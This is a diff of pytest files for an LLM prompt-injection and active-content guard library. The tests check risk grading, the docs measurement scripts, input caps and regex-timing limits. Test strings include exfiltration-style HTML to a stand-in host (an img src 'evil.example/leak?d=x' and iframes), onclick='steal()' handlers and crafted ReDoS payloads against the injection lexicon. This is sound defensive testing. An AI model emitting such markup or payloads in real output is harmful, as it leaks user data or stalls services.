(Severity.LOW, UNTRUSTED, Provenance.PROSE, Risk.LOW),
|
||||
])
|
||||
def test_assessment_tracks_danger_given_trust(severity, policy, provenance, expected_risk):
|
||||
# The assessment is trust-aware, exactly as BRIEF §4.7 describes: the *same*
|
||||
# hit is a different assessment in prose vs a code fence — not merely a
|
||||
# different action on one shared assessment.
|
||||
result = decide(_report(_finding(severity=severity)), policy, provenance=provenance)
|
||||
assert result.assessment is expected_risk
|
||||
assert result.disposition is DEFAULT_ACTION_MAP[expected_risk]
|
||||
|
||||
|
||||
def test_custom_action_map_changes_the_action_not_the_assessment():
|
||||
# THE point of the separation. A consumer that wants to hold for review
|
||||
# rather than block says so in the policy, and the assessment it was derived
|
||||
# from is unchanged — so they never have to pin our grading to get their
|
||||
# behaviour.
|
||||
report = _report(_finding(severity=Severity.HIGH))
|
||||
strict = Policy(trust=Trust.UNTRUSTED)
|
||||
lenient = Policy(trust=Trust.UNTRUSTED, action_map={
|
||||
**DEFAULT_ACTION_MAP,
|
||||
Risk.SEVERE: Disposition.QUARANTINE_REVIEW,
|
||||
})
|
||||
|
||||
assert decide(report, strict).disposition is Disposition.FAIL_SECURE
|
||||
assert decide(report, lenient).disposition is Disposition.QUARANTINE_REVIEW
|
||||
assert decide(report, strict).assessment is Risk.SEVERE
|
||||
assert decide(report, lenient).assessment is Risk.SEVERE
|
||||
|
||||
|
||||
def test_partial_action_map_falls_back_per_level():
|
||||
# A partial override is a likely way to reach for this, so the levels left
|
||||
# unnamed must fall back rather than raise. A KeyError here would be caught
|
||||
# by `guard` and turned into a fail-closed — silently, with a useless reason.
|
||||
policy = Policy(trust=Trust.UNTRUSTED,
|
||||
action_map={Risk.SEVERE: Disposition.QUARANTINE_REVIEW})
|
||||
|
||||
severe = decide(_report(_finding(severity=Severity.HIGH)), policy)
|
||||
elevated = decide(_report(_finding(severity=Severity.MEDIUM)), policy)
|
||||
|
||||
assert severe.assessment is Risk.SEVERE
|
||||
assert severe.disposition is Disposition.QUARANTINE_REVIEW # overridden
|
||||
assert elevated.assessment is Risk.ELEVATED
|
||||
assert elevated.disposition is Disposition.QUARANTINE_REVIEW # defaulted
|
||||
|
||||
|
||||
def test_overlays_escalate_the_assessment_not_only_the_action():
|
||||
# Compound escalation and the quarantine floor are assessment-level moves;
|
||||
# if they only moved the action, a custom action_map would silently drop
|
||||
# them. Two MEDIUM findings untrusted: ELEVATED escalated to SEVERE.
|
||||
report = _report(
|
||||
_finding(severity=Severity.MEDIUM, label="lexicon:config"),
|
||||
_finding(severity=Severity.MEDIUM, label="entropy:base64", detector="entropy"),
|
||||
)
|
||||
result = decide(report, PRESET_USER_UPLOAD)
|
||||
assert result.assessment is Risk.SEVERE
|
||||
assert result.disposition is Disposition.FAIL_SECURE
|
||||
|
||||
|
||||
def test_guard_fails_closed_with_a_severe_assessment():
|
||||
# The fail-closed path must not leave the assessment unset, or a consumer
|
||||
# mapping on the assessment alone would read a scanner crash as clean.
|
||||
def boom() -> Report:
|
||||
raise RuntimeError("detector exploded")
|
||||
|
||||
result = guard(boom, PRESET_USER_UPLOAD)
|
||||
assert result.disposition is Disposition.FAIL_SECURE
|
||||
assert result.assessment is Risk.SEVERE
|
||||
|
|
|
|||
305
tests/test_docs_measurement_scripts.py
Normal file
305
tests/test_docs_measurement_scripts.py
Normal file
|
|
@ -0,0 +1,305 @@
|
|||
"""The `docs/` measurement scripts are contract consumers, and nothing pinned them.
|
||||
|
||||
`docs/fp-sweep.py` and `docs/rawhtml-census.py` produce the numbers published in
|
||||
`docs/LIMITATIONS.md` and the README. Both reach past the public API into private
|
||||
module state — `active_content._ACTIVE_TAGS`, `calibration.RISK_RANK` — so a rename
|
||||
inside `src/` breaks them while this suite stays green. The breakage then surfaces
|
||||
at the worst possible moment: the next time someone tries to re-measure a published
|
||||
claim, months later, with no memory of what the script was supposed to import.
|
||||
|
||||
WHAT THIS FILE DELIBERATELY DOES NOT DO. The corpora these scripts consume live
|
||||
outside this repo, in private consumer repos (`docs/CONSUMER-MAP.local.md`), so no
|
||||
test here can run either script end to end, and building a stand-in corpus would
|
||||
just pin a fiction. The contract under test is therefore narrower and honest:
|
||||
|
||||
1. every name the scripts import still exists with the shape they use;
|
||||
2. the in-process patch point still moves the gate (a census that patched a dead
|
||||
symbol would print six identical rows and read as a finding, not a failure);
|
||||
3. the census's `PRODUCTION` row still equals its `A + base-url` candidate, which
|
||||
the script's own docstring calls the drift alarm for every number it prints;
|
||||
4. the argument-less invocation still refuses rather than measuring nothing.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib.util
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
import redos_clock
|
||||
from llm_ingestion_guard import Disposition, PRESET_USER_UPLOAD, Risk, screen_output
|
||||
from llm_ingestion_guard import active_content as ac
|
||||
|
||||
_DOCS = Path(__file__).resolve().parent.parent / "docs"
|
||||
_LIMITATIONS = _DOCS / "LIMITATIONS.md"
|
||||
|
||||
|
||||
def _load(filename: str):
|
||||
"""Import a hyphenated script from `docs/` under a module name Python allows."""
|
||||
path = _DOCS / filename
|
||||
name = f"_docs_{path.stem.replace('-', '_')}"
|
||||
spec = importlib.util.spec_from_file_location(name, path)
|
||||
assert spec and spec.loader, f"cannot load {path}"
|
||||
module = importlib.util.module_from_spec(spec)
|
||||
sys.modules[name] = module # @dataclass resolves its own module via sys.modules
|
||||
spec.loader.exec_module(module)
|
||||
return module
|
||||
|
||||
|
||||
# Import at collection time on purpose: a rename in `src/` that breaks either
|
||||
# script's import list fails the whole file loudly instead of one quiet test.
|
||||
fp_sweep = _load("fp-sweep.py")
|
||||
census = _load("rawhtml-census.py")
|
||||
redos_sweep = _load("redos-sweep.py")
|
||||
|
||||
|
||||
# --- docs/fp-sweep.py --------------------------------------------------------
|
||||
|
||||
|
||||
def test_fp_sweep_reaches_calibration_risk_rank_for_every_risk():
|
||||
# `check_metric_is_a_risk_statement` indexes RISK_RANK by `Risk(...).value`.
|
||||
# A risk tier added to the enum without a rank would raise KeyError mid-sweep,
|
||||
# after the corpus had already been read.
|
||||
from llm_ingestion_guard.calibration import RISK_RANK
|
||||
|
||||
assert {r.value for r in Risk} <= set(RISK_RANK)
|
||||
assert RISK_RANK is fp_sweep.RISK_RANK
|
||||
|
||||
|
||||
def test_fp_sweep_metric_guard_accepts_the_shipped_action_map():
|
||||
fp_sweep.check_metric_is_a_risk_statement() # must not raise
|
||||
|
||||
|
||||
def test_fp_sweep_metric_guard_is_not_vacuous():
|
||||
# The guard exists to catch a re-mapped action map silently changing what the
|
||||
# published number *claims*. If it cannot fail, it protects nothing — so make
|
||||
# it fail, here, on a map where ELEVATED has become benign.
|
||||
remapped = dict(fp_sweep.DEFAULT_ACTION_MAP)
|
||||
remapped[Risk.ELEVATED] = fp_sweep.BENIGN
|
||||
original = fp_sweep.DEFAULT_ACTION_MAP
|
||||
fp_sweep.DEFAULT_ACTION_MAP = remapped
|
||||
try:
|
||||
with pytest.raises(SystemExit, match="metric invalid"):
|
||||
fp_sweep.check_metric_is_a_risk_statement()
|
||||
finally:
|
||||
fp_sweep.DEFAULT_ACTION_MAP = original
|
||||
|
||||
|
||||
def test_fp_sweep_documents_honours_extension_hidden_and_include(tmp_path):
|
||||
(tmp_path / "keep.md").write_text("a", encoding="utf-8")
|
||||
(tmp_path / "skip.rst").write_text("a", encoding="utf-8")
|
||||
(tmp_path / ".hidden").mkdir()
|
||||
(tmp_path / ".hidden" / "buried.md").write_text("a", encoding="utf-8")
|
||||
(tmp_path / "sub").mkdir()
|
||||
(tmp_path / "sub" / "nested.md").write_text("a", encoding="utf-8")
|
||||
|
||||
names = [p.name for p in fp_sweep.documents(tmp_path, (".md",))]
|
||||
assert names == ["keep.md", "nested.md"], "extension or hidden-path filter moved"
|
||||
|
||||
scoped = fp_sweep.documents(tmp_path, (".md",), include="/sub/")
|
||||
assert [p.name for p in scoped] == ["nested.md"]
|
||||
|
||||
|
||||
def test_fp_sweep_measure_reads_the_result_fields_it_publishes(tmp_path):
|
||||
# Two files, not a corpus: this pins the *shape* the script consumes — that
|
||||
# `screen_output` still returns `.disposition` and `.assessment`, that empty
|
||||
# files are excluded from the denominator, and that a non-WARN document is
|
||||
# attributed to the labels at its worst severity rather than to all of them.
|
||||
(tmp_path / "benign.md").write_text("A plain note about deployment.", encoding="utf-8")
|
||||
(tmp_path / "empty.md").write_text(" \n", encoding="utf-8")
|
||||
(tmp_path / "active.md").write_text(
|
||||
'Read more <iframe src="https://evil.example/x"></iframe>', encoding="utf-8"
|
||||
)
|
||||
|
||||
m = fp_sweep.measure("probe", tmp_path, (".md",))
|
||||
|
||||
assert m["n"] == 2, "empty documents must not enter the denominator"
|
||||
assert m["empty"] == 1
|
||||
assert m["non_warn"] == m["n"] - m["dispositions"][fp_sweep.BENIGN.value]
|
||||
assert m["non_warn"] >= 1, "the active-content document should not be waved through"
|
||||
assert sum(m["assessments"].values()) == m["n"]
|
||||
assert sum(m["trusted"].values()) == m["n"]
|
||||
assert m["drivers"], "a non-WARN document must be attributed to a driver label"
|
||||
assert all(isinstance(k, str) for k in m["drivers"])
|
||||
fp_sweep.report(m) # the reporter reads every key above; a rename crashes here
|
||||
|
||||
|
||||
# --- docs/rawhtml-census.py --------------------------------------------------
|
||||
|
||||
|
||||
def test_census_private_active_content_names_still_exist():
|
||||
# Each of these is reached by name from the census. They are private, so
|
||||
# nothing else in the suite would notice them being renamed.
|
||||
assert isinstance(ac._ACTIVE_TAGS, frozenset) and "base" in ac._ACTIVE_TAGS
|
||||
assert ac._EVENT_ATTR_RE.search(' onclick="x()"')
|
||||
assert ac._URL_ATTR_RE.search(' href="/x"')
|
||||
assert ac._has_external_target("//evil.example") is True
|
||||
assert ac._has_external_target("/relative") is False
|
||||
assert ac._url_attr_is_external(' href="//evil.example"') is True
|
||||
assert ac._url_attr_is_external(' href="/relative"') is False
|
||||
assert callable(ac.is_active_tag)
|
||||
assert callable(ac.active_tag_class)
|
||||
# 0.7.0's two name sets, both reached by name from the census's `_variant`.
|
||||
assert "a" in ac._LINK_TAGS and "img" not in ac._LINK_TAGS
|
||||
assert {"a", "frame", "img"} <= ac._URL_AFFORDANCE_TAGS
|
||||
assert "script" not in ac._URL_AFFORDANCE_TAGS, "an execute-class tag needs no URL"
|
||||
|
||||
|
||||
def test_census_masking_pipeline_matches_the_scanner_symbols():
|
||||
# `masked_text` reproduces `scan_active_content`'s masking by name. It blanks
|
||||
# with equal-length spaces so later offsets stay meaningful; a substitution
|
||||
# that changed length would silently move every tag position it reports.
|
||||
text = "See [docs](https://example.com/a) and ."
|
||||
masked = census.masked_text(text)
|
||||
assert len(masked) == len(text)
|
||||
assert "https://example.com/a" not in masked
|
||||
assert not any(m.group("name") for m in ac.HTML_TAG_RE.finditer(masked))
|
||||
|
||||
|
||||
def test_census_html_tag_regex_still_exposes_the_groups_it_reads():
|
||||
m = ac.HTML_TAG_RE.search('<iframe src="https://evil.example/x">')
|
||||
assert m is not None
|
||||
assert m.group("name") == "iframe"
|
||||
assert "src=" in m.group("attrs")
|
||||
|
||||
|
||||
def test_census_candidate_table_keeps_its_three_fixed_rows():
|
||||
names = [name for name, _ in census.CANDIDATES]
|
||||
fns = dict(census.CANDIDATES)
|
||||
assert names[0] == "pre-0.6.0 (no narrowing)", "first row is the baseline the rest subtract from"
|
||||
assert sum(fn is None for _, fn in census.CANDIDATES) == 1, "exactly one unpatched PRODUCTION row"
|
||||
assert fns["PRODUCTION (as shipped)"] is None
|
||||
assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is None
|
||||
|
||||
|
||||
def test_census_candidates_return_a_class_not_a_boolean():
|
||||
# A boolean patch point cannot express a REGRADE, only a narrowing. If a
|
||||
# candidate ever returns True/False again, every carrier row would compare
|
||||
# equal to PRODUCTION on the non-WARN metric and the script would report
|
||||
# "the split buys nothing" — the exact conclusion it exists to disprove.
|
||||
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
|
||||
assert candidate("a", ' href="https://evil.example/x?d=1"') == "raw-html-link"
|
||||
assert candidate("script", "") == "raw-html"
|
||||
assert candidate("a", "") is None
|
||||
for value in (True, False):
|
||||
assert candidate("a", ' href="https://evil.example/x"') is not value
|
||||
|
||||
|
||||
def test_census_patch_point_actually_moves_the_gate(monkeypatch):
|
||||
# The census measures candidates by replacing `active_content.active_tag_class`
|
||||
# in-process. If the scanner ever resolves that predicate any other way — a
|
||||
# local alias, an inlined body — every candidate row would silently equal
|
||||
# PRODUCTION and the script would report "no narrowing helps" as a finding.
|
||||
doc = 'Read more <iframe src="https://evil.example/x"></iframe>'
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is not Disposition.WARN
|
||||
|
||||
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: None)
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.WARN
|
||||
|
||||
|
||||
def test_census_regrade_patch_point_moves_the_severity(monkeypatch):
|
||||
# The other half: patching the class must move the DISPOSITION TIER, not just
|
||||
# presence. A carrier candidate that regrades without changing the tier would
|
||||
# be unmeasurable, which is how the non-WARN-only metric hid this class.
|
||||
doc = '<img src="https://evil.example/leak?d=x">'
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
|
||||
|
||||
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: "raw-html-link")
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.QUARANTINE_REVIEW
|
||||
|
||||
|
||||
# Every branch of the shipped predicate, plus the two shapes where a hand-rolled
|
||||
# attribute reader diverges from it: a URL attribute name reached through a
|
||||
# prefix (`data-src`), and a multi-candidate `srcset` whose external target is
|
||||
# not the first candidate. Both must be exercised on a tag that is NOT in the
|
||||
# name set, or the name branch answers first and hides the disagreement.
|
||||
_PREDICATE_CASES = [
|
||||
("iframe", ' src="https://evil.example/x"'),
|
||||
("script", ""),
|
||||
("base", ' href="https://evil.example/"'),
|
||||
("base", " /"),
|
||||
("div", ' onclick="steal()"'),
|
||||
("div", ' href="//evil.example"'),
|
||||
("div", ' href="/relative/path"'),
|
||||
("div", ' data-src="//evil.example/x"'),
|
||||
("div", ' srcset="a.png 1x, https://evil.example/x.png 2x"'),
|
||||
("div", ' cite="https://evil.example"'),
|
||||
("p", ""),
|
||||
# 0.7.0's two branches. Without these the shipped-candidate check would pass
|
||||
# while the census still measured the 0.6.1 predicate.
|
||||
("a", ' href="https://evil.example/x?d=1"'), # carrier split -> link class
|
||||
("area", ' href="//evil.example"'),
|
||||
("a", ' onclick="steal()"'), # handler beats the split
|
||||
("a", ""), # no-URL narrowing -> inert
|
||||
("frame", ""),
|
||||
("img", ' alt="a diagram"'),
|
||||
("img", ' src="/local/diagram.png"'), # relative URL is still active
|
||||
("script", ' type="module"'), # execute-class needs no URL
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,attrs", _PREDICATE_CASES, ids=[f"{n}{a}" for n, a in _PREDICATE_CASES])
|
||||
def test_census_production_row_equals_its_shipped_candidate(name, attrs):
|
||||
# The census's own docstring: "`C1 + D` is what 0.7.0 ships, so these two rows
|
||||
# must agree — a mismatch means the code and this script have drifted apart
|
||||
# and every number below is suspect." That claim was never asserted.
|
||||
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
|
||||
assert candidate(name, attrs) == ac.active_tag_class(name, attrs)
|
||||
|
||||
|
||||
# --- docs/redos-sweep.py ------------------------------------------------------
|
||||
|
||||
|
||||
def test_redos_sweep_times_on_the_suite_clock_not_a_reimplementation():
|
||||
# Until 1.1.0 this script timed on `time.monotonic()`, a different instrument
|
||||
# than every ReDoS bound in the suite. `t()` must call the shared
|
||||
# `scan_seconds` — imported, not restated — and the module must not import
|
||||
# `time` itself, else a drift back to a wall clock would go unnoticed here.
|
||||
assert redos_sweep.scan_seconds is redos_clock.scan_seconds
|
||||
assert not hasattr(redos_sweep, "time"), "module must not import time itself"
|
||||
|
||||
|
||||
def test_redos_sweep_floor_and_flag_match_the_published_numbers():
|
||||
# docs/LIMITATIONS.md publishes the 1.5 ms floor and the 2.6 flag ratio this
|
||||
# script derives from twelve full runs. Pin both sides: the constants, and
|
||||
# that the doc still states the same numbers — either drifting alone is a bug.
|
||||
assert redos_sweep.NOISE_FLOOR == 0.0015
|
||||
assert redos_sweep.RATIO_FLAG == 2.6
|
||||
text = _LIMITATIONS.read_text(encoding="utf-8")
|
||||
assert "1.5 ms noise floor" in text
|
||||
assert "2.6 flag threshold" in text
|
||||
|
||||
|
||||
def test_redos_sweep_collector_covers_152_patterns_across_11_tables():
|
||||
# The count docs/LIMITATIONS.md carries as "all 152 compiled patterns across
|
||||
# all eleven regex-bearing modules". A pattern added or removed in `src/`
|
||||
# without re-measuring would drift the doc's claim silently otherwise.
|
||||
assert len(redos_sweep.TABLES) == 11
|
||||
total = sum(len(collect()) for collect in redos_sweep.TABLES.values())
|
||||
assert total == 152
|
||||
|
||||
|
||||
# --- both scripts: the argument-less contract --------------------------------
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"script,marker",
|
||||
[
|
||||
("fp-sweep.py", "POPULATIONS ARE NEVER SUMMED"),
|
||||
("rawhtml-census.py", "TWO METHOD TRAPS IT EXISTS TO AVOID"),
|
||||
],
|
||||
)
|
||||
def test_script_run_without_arguments_refuses_and_prints_its_usage(script, marker):
|
||||
# Corpus roots are arguments, never hardcoded, so "no arguments" must be a
|
||||
# refusal — not an empty measurement that prints 0 of 0 and reads as clean.
|
||||
# Run as a subprocess with no PYTHONPATH help: the scripts insert `src/`
|
||||
# themselves, and being runnable standalone is part of their usage contract.
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(_DOCS / script)],
|
||||
capture_output=True, text=True, cwd=_DOCS.parent,
|
||||
env={"PATH": "/usr/bin:/bin"},
|
||||
)
|
||||
assert proc.returncode == 2, proc.stderr
|
||||
assert marker in proc.stdout
|
||||
108
tests/test_input_cap.py
Normal file
108
tests/test_input_cap.py
Normal file
|
|
@ -0,0 +1,108 @@
|
|||
"""Tests for the input-size cap on the TRANSFORM surfaces (OWASP LLM10).
|
||||
|
||||
The scan surfaces (``scan_lexicon`` / ``scan_output``) cap by *truncating*: they
|
||||
read the prefix, emit an ``oversize-input`` finding, and return findings only.
|
||||
That trade does not transfer here. ``sanitize`` / ``fence`` / ``neutralize``
|
||||
return **content**, so truncating would either drop user data silently or hand
|
||||
back a tail that never went through the transform — a one-line bypass, since an
|
||||
attacker controls where in the document the payload sits.
|
||||
|
||||
So these three fail *secure* instead. The invariant under test:
|
||||
|
||||
returned text is ALWAYS fully transformed, or not returned at all.
|
||||
"""
|
||||
import inspect
|
||||
|
||||
import pytest
|
||||
|
||||
from llm_ingestion_guard import prepare_input
|
||||
from llm_ingestion_guard.calibration import MAX_INPUT_CHARS
|
||||
from llm_ingestion_guard.contract import ContractViolation, OversizeInputError
|
||||
from llm_ingestion_guard.fence import fence
|
||||
from llm_ingestion_guard.neutralize import neutralize
|
||||
from llm_ingestion_guard.sanitize import sanitize
|
||||
|
||||
# Every transform surface, called through a uniform (text, max) shim so the
|
||||
# invariant is asserted once per surface rather than restated three times.
|
||||
TRANSFORMS = (
|
||||
("sanitize", lambda text, cap: sanitize(text, max_input_chars=cap)),
|
||||
("fence", lambda text, cap: fence(text, max_input_chars=cap)),
|
||||
("neutralize", lambda text, cap: neutralize(text, max_input_chars=cap)),
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,call", TRANSFORMS, ids=[n for n, _ in TRANSFORMS])
|
||||
def test_oversize_input_is_rejected(name, call):
|
||||
with pytest.raises(OversizeInputError):
|
||||
call("a" * 101, 100)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,call", TRANSFORMS, ids=[n for n, _ in TRANSFORMS])
|
||||
def test_input_exactly_at_the_cap_is_accepted(name, call):
|
||||
# The cap is the largest accepted size, not the smallest rejected one.
|
||||
result = call("a" * 100, 100)
|
||||
assert result.text is not None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,call", TRANSFORMS, ids=[n for n, _ in TRANSFORMS])
|
||||
def test_rejection_is_a_contract_violation(name, call):
|
||||
# Subclass, so a pipeline with a broad `except ContractViolation` around its
|
||||
# quarantined stage keeps failing closed instead of meeting a new exception
|
||||
# type it has never heard of.
|
||||
with pytest.raises(ContractViolation) as exc:
|
||||
call("a" * 101, 100)
|
||||
assert exc.value.code == "oversize-input"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,call", TRANSFORMS, ids=[n for n, _ in TRANSFORMS])
|
||||
def test_error_carries_sizes_never_content(name, call):
|
||||
# Same alert-safety property ContractViolation already promises: the raised
|
||||
# object must be routable to an alert channel without leaking the payload.
|
||||
secret = "CANARYVALUE"
|
||||
with pytest.raises(OversizeInputError) as exc:
|
||||
call(secret * 100, 100)
|
||||
assert secret not in str(exc.value)
|
||||
assert not any(secret in d for d in exc.value.details)
|
||||
# Substring, not tuple membership: `details` is ("sanitize",), so `"101" not
|
||||
# in details` would pass trivially and keep passing if a size were ever
|
||||
# folded into the string.
|
||||
assert not any("101" in d for d in exc.value.details)
|
||||
assert name in exc.value.details
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,call", TRANSFORMS, ids=[n for n, _ in TRANSFORMS])
|
||||
def test_error_reports_both_the_size_and_the_cap(name, call):
|
||||
with pytest.raises(OversizeInputError) as exc:
|
||||
call("a" * 101, 100)
|
||||
message = str(exc.value)
|
||||
assert "101" in message and "100" in message
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,call", TRANSFORMS, ids=[n for n, _ in TRANSFORMS])
|
||||
def test_under_cap_is_unchanged_by_the_guard(name, call):
|
||||
# The cap must not perturb the ordinary path: clean prose still round-trips
|
||||
# the way each surface's own tests already pin.
|
||||
result = call("ordinary prose", 100)
|
||||
assert "ordinary prose" in result.text
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"func", [sanitize, fence, neutralize], ids=["sanitize", "fence", "neutralize"]
|
||||
)
|
||||
def test_default_cap_comes_from_calibration(func):
|
||||
# Calibration numbers live in ONE module; a literal re-typed at a call site
|
||||
# is the drift this pins against.
|
||||
default = inspect.signature(func).parameters["max_input_chars"].default
|
||||
assert default == MAX_INPUT_CHARS
|
||||
|
||||
|
||||
def test_prepare_input_inherits_the_cap():
|
||||
# The input path is sanitize -> fence, and step 1 is where the document
|
||||
# arrives, so the whole path is bounded by sanitize's guard alone.
|
||||
with pytest.raises(OversizeInputError):
|
||||
prepare_input("a" * (MAX_INPUT_CHARS + 1))
|
||||
|
||||
|
||||
def test_prepare_input_accepts_a_document_at_the_cap():
|
||||
result = prepare_input("a" * MAX_INPUT_CHARS)
|
||||
assert result.fenced
|
||||
|
|
@ -9,7 +9,8 @@ Detection is ``text -> findings`` (design principle 3): pure, no I/O, no
|
|||
mutation. Disposition (WARN / QUARANTINE / FAIL_SECURE) is the caller's.
|
||||
"""
|
||||
import base64
|
||||
import time
|
||||
|
||||
import pytest
|
||||
|
||||
from llm_ingestion_guard.lexicon import (
|
||||
LexiconPattern,
|
||||
|
|
@ -22,6 +23,7 @@ from llm_ingestion_guard.lexicon import (
|
|||
scan_lexicon,
|
||||
)
|
||||
from llm_ingestion_guard.report import Report, Severity, Source
|
||||
from redos_clock import scan_seconds
|
||||
|
||||
|
||||
# --- loader ------------------------------------------------------------------
|
||||
|
|
@ -226,11 +228,91 @@ def test_oversize_input_is_capped_and_flagged():
|
|||
|
||||
|
||||
def test_redos_pathological_subagent_input_returns_fast():
|
||||
# A crafted string that would force catastrophic backtracking on the
|
||||
# ORIGINAL nested-`.*?` sub-agent pattern. The bounded port stays linear.
|
||||
evil = "spawn an agent that " + ("word " * 8000)
|
||||
start = time.monotonic()
|
||||
r = scan_lexicon(evil)
|
||||
elapsed = time.monotonic() - start
|
||||
assert elapsed < 2.0
|
||||
assert isinstance(r, Report)
|
||||
# The seed's `(?:.*?\s+)?` is quadratic on this payload; the bounded
|
||||
# `{0,12}?` port that shipped instead is linear. Seed form: llm-security
|
||||
# 7.8.0, scanners/lib/injection-patterns.mjs:84 — this repo has never
|
||||
# carried it (the bound is in the pattern table's FIRST commit, f397cd9),
|
||||
# so the vulnerable form is patched in by hand, never reverted to.
|
||||
#
|
||||
# WHAT THE PAYLOAD HAS TO DO, because two earlier shapes did neither and
|
||||
# this row sat measured-dead (1.2x) until it was found: the cost is
|
||||
# per-PREFIX-MATCH, so the payload must make the prefix match at MANY start
|
||||
# positions, not at one. `spawn an agent that ` REPEATED does that; the
|
||||
# earlier `spawn an agent that ` + filler matched the prefix once and paid
|
||||
# one lazy run, which is linear no matter how long the filler is. The
|
||||
# nesting the old comment blamed is a red herring — the inner `.*?` sits in
|
||||
# an OPTIONAL group, never a repeated one. What costs is that each of the
|
||||
# K prefix matches drives its own O(N) lazy scan to end-of-string looking
|
||||
# for a capability keyword the payload never supplies: K x O(N) = O(N^2).
|
||||
# The bound caps each scan at 12 tokens, so K x O(1) = O(N).
|
||||
#
|
||||
# Measured through `scan_lexicon` at be9759b+, seed form patched in:
|
||||
#
|
||||
# words 1500 3000 6000 12000
|
||||
# seed 0.091s 0.283s 1.085s 4.091s <- exponent 1.92
|
||||
# shipped 0.047s 0.051s 0.094s 0.190s <- exponent 1.01
|
||||
#
|
||||
# At the 12000 words this row carries: 4.091s vs 0.190s = 22x, and the seed
|
||||
# form breaks the 2.0s bound outright — the row failed at 4.21s with it
|
||||
# patched in. Verified red, not assumed.
|
||||
evil = "spawn an agent that " * 3000
|
||||
assert scan_seconds(scan_lexicon, evil) < 2.0
|
||||
assert isinstance(scan_lexicon(evil), Report)
|
||||
|
||||
|
||||
# --- crafted ReDoS payloads against the JSON pattern table (OWASP LLM10) -----
|
||||
# The INPUT-path duty `8deca93` scoped: 0.3.2 fixed the output path's scanners,
|
||||
# but the lexicon is the load-bearing input gate and its 83 patterns had never
|
||||
# been measured. Two of them are quadratic, same shape as everything 0.3.2
|
||||
# fixed -- a run followed by a REQUIRED literal, where the run may cross the
|
||||
# pattern's own opening anchor. Crafted input repeats the anchor and never
|
||||
# supplies the literal, so every start position rescans the tail.
|
||||
#
|
||||
# These are NOT input-path-only. `scan_lexicon` runs on the output path too, so
|
||||
# 0.3.2's "the output path is bounded" was too broad: its gate test used `<a:`
|
||||
# and the `[` unit was only ever run against `scan_active_content`, never
|
||||
# against `scan_lexicon`. Measured through the public gate before the fix:
|
||||
# `scan_output("[" * 16_000)` took 8.045s. The gate row in test_output.py
|
||||
# closes that hole; these rows name the guilty pattern.
|
||||
#
|
||||
# Exponent measured over five points (1k..16k): 1.98 -- quadratic, not
|
||||
# exponential. Extrapolated to the 1_000_000-char cap the gate accepts:
|
||||
# `[` -> 8.29 HOURS (markdown:link-anchor-injection, anchor run)
|
||||
# `[system](` -> 89 seconds (same pattern, the URL run -- a separate arm)
|
||||
# `[//]: # (` -> 0.97 HOURS (markdown:link-ref-comment, the `.*` run)
|
||||
#
|
||||
# Both arms of link-anchor-injection get a row for the reason the output table
|
||||
# already learned: a pattern is only safe once EVERY run in it is. The URL arm
|
||||
# was missed by a sweep whose payloads were generic; it only appeared once the
|
||||
# payloads were synthesised per-run from the pattern's own skeleton.
|
||||
#
|
||||
# Bound derivation (measurement, not taste -- same method as the output table):
|
||||
# at N=100_000 the slowest LEGITIMATE content through `scan_lexicon` is 0.316s
|
||||
# (prose 0.316 / html 0.315 / markdown 0.297 / connection-string doc 0.296).
|
||||
# 2.0s is ~6.3x that.
|
||||
#
|
||||
# N is PER ROW, and that is the point. The URL arm is quadratic with a small
|
||||
# constant: at N=100_000 it ran 0.9s UNFIXED, so a 2.0s bound there passes
|
||||
# whether or not the pattern is fixed -- a row that cannot fail is not a test,
|
||||
# it is decoration. Re-measured at N=300_000 it separates properly: 8.104s
|
||||
# crafted against 0.926s for the slowest legitimate content of that size (prose
|
||||
# 0.918 / markdown 0.926), so the 3.0s bound sits 3.2x over legitimate and 2.7x
|
||||
# under crafted. The two 100_000 rows ran 297s and 55s unfixed -- far over.
|
||||
#
|
||||
# (id, repeating unit, N, bound). Each unit denies the literal its run needs: no
|
||||
# closing `]` for the anchor text, no `)` for the URL, no keyword for the comment
|
||||
# run. Table is a literal -- it cannot silently empty.
|
||||
_LEXICON_REDOS_ROWS = [
|
||||
("md-link-anchor-text", "[", 100_000, 2.0),
|
||||
("md-link-anchor-url", "[system](", 300_000, 3.0),
|
||||
("md-link-ref-comment", "[//]: # (", 100_000, 2.0),
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"unit,n,bound", [(u, n, b) for _, u, n, b in _LEXICON_REDOS_ROWS],
|
||||
ids=[i for i, _, _, _ in _LEXICON_REDOS_ROWS],
|
||||
)
|
||||
def test_crafted_redos_payload_stays_bounded_in_the_lexicon(unit, n, bound):
|
||||
payload = (unit * (n // len(unit) + 1))[:n]
|
||||
assert scan_seconds(scan_lexicon, payload) < bound
|
||||
|
|
|
|||
|
|
@ -11,8 +11,11 @@ empty report; only active-content constructs are ever rewritten. Mutation lives
|
|||
here, kept separate from the report-only output gate (design principles 3 & 4).
|
||||
The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals.
|
||||
"""
|
||||
import pytest
|
||||
|
||||
from llm_ingestion_guard.neutralize import neutralize
|
||||
from llm_ingestion_guard.report import Severity, Source
|
||||
from redos_clock import scan_seconds
|
||||
|
||||
|
||||
def test_clean_output_is_byte_identical():
|
||||
|
|
@ -95,6 +98,34 @@ def test_raw_active_html_is_escaped():
|
|||
